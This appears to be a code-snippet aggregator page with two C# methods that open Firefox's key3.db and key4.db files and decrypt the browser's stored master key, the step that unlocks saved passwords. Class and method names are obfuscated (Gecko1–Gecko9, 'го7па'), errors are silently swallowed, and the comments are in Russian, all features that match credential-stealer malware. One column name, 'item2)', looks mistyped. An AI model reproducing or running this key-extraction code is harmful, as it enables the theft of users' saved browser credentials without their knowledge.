Ejemplo n.º 1
0
        } //Если P4Key

        private static byte[] p3k(string file)
        {
            byte[] array = new byte[24];
            try
            {
                if (!File.Exists(file))
                {
                    return(array);
                }
                new DataTable();
                Gecko9 berkeleyDB = new Gecko9(file);
                Gecko7 Gecko7     = new Gecko7(vbv(berkeleyDB, (string x) => x.Equals("password-check")));
                string hexString  = vbv(berkeleyDB, (string x) => x.Equals("global-salt"));
                Gecko8 Gecko8     = new Gecko8(ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), ConvertHexStringToByteArray(Gecko7.EntrySalt));
                Gecko8.го7па();
                Gecko6.lTRjlt(Gecko8.DataKey, Gecko8.DataIV, ConvertHexStringToByteArray(Gecko7.Passwordcheck));
                Gecko4 Gecko4  = Gecko1.Create(ConvertHexStringToByteArray(vbv(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt"))));
                Gecko8 Gecko82 = new Gecko8(ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), Gecko4.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData);
                Gecko82.го7па();
                Gecko4 Gecko42 = Gecko1.Create(Gecko1.Create(Encoding.Default.GetBytes(Gecko6.lTRjlt(Gecko82.DataKey, Gecko82.DataIV, Gecko4.Objects[0].Objects[1].ObjectData))).Objects[0].Objects[2].ObjectData);
                if (Gecko42.Objects[0].Objects[3].ObjectData.Length <= 24)
                {
                    array = Gecko42.Objects[0].Objects[3].ObjectData;
                    return(array);
                }
                Array.Copy(Gecko42.Objects[0].Objects[3].ObjectData, Gecko42.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24);
                return(array);
            }
            catch (Exception)
            {
                return(array);
            }
        }//Если P3Key
Ejemplo n.º 2
0
 private static byte[] p4k(string file)
 {
     byte[] result = new byte[24];
     try
     {
         if (!File.Exists(file))
         {
             return(result);
         }
         CNT cNT = new CNT(file);
         cNT.ReadTable("metaData");
         string s           = cNT.ParseValue(0, "item1");
         string s2          = cNT.ParseValue(0, "item2)");
         Gecko4 Gecko4      = Gecko1.Create(Encoding.Default.GetBytes(s2));
         byte[] objectData  = Gecko4.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
         byte[] objectData2 = Gecko4.Objects[0].Objects[1].ObjectData;
         Gecko8 Gecko8      = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
         Gecko8.го7па();
         Gecko6.lTRjlt(Gecko8.DataKey, Gecko8.DataIV, objectData2);
         cNT.ReadTable("nssPrivate");
         int    rowLength = cNT.RowLength;
         string s3        = string.Empty;
         for (int i = 0; i < rowLength; i++)
         {
             if (cNT.ParseValue(i, "a102") == Encoding.Default.GetString(Key4MagicNumber))
             {
                 s3 = cNT.ParseValue(i, "a11");
                 break;
             }
         }
         Gecko4 Gecko42 = Gecko1.Create(Encoding.Default.GetBytes(s3));
         objectData  = Gecko42.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
         objectData2 = Gecko42.Objects[0].Objects[1].ObjectData;
         Gecko8      = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
         Gecko8.го7па();
         result = Encoding.Default.GetBytes(Gecko6.lTRjlt(Gecko8.DataKey, Gecko8.DataIV, objectData2, PaddingMode.PKCS7));
         return(result);
     }
     catch (Exception)
     {
         return(result);
     }
 } //Если P4Key